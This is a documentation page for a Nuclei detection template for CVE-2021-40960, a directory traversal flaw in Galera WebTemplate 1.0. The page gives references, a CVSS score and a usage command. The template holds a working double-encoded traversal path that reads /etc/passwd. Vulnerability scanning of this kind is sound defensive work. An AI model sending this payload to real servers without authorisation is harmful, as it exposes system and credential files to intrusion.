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Galera WebTemplate 1.0 Directory Traversal

ID: CVE-2021-40960

Severity: critical

Author: daffainfo

Tags: cve2021,cve,lfi,galera

Description

Section titled “Description”

Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40960


info:
  name: Galera WebTemplate 1.0 Directory Traversal
  author: daffainfo
  severity: critical
  description: Galera WebTemplate 1.0 is affected by a directory traversal vulnerability that could reveal information from /etc/passwd and /etc/shadow.
  impact: |
    An attacker can read, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Galera WebTemplate 1.0.
  reference:
    - http://www.omrylmz.com/galera-webtemplate-1-0-directory-traversal-vulnerability-cve-2021-40960/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40960
    - http://www.galera.com.tr/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40960
    cwe-id: CWE-22
    epss-score: 0.00946
    epss-percentile: 0.81464
    cpe: cpe:2.3:a:galera:galera_webtemplate:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: galera
    product: galera_webtemplate
  tags: cve2021,cve,lfi,galera


http:
  - method: GET
    path:
      - "{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fb825d4eb8020723740335368776a8267261025da86cc66b3ace8e31be9c9a4f02203ca9ff23f690c446fdeddcd9a987950a646946d5f96fefec5405a18cb6b59ac4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40960.yaml"

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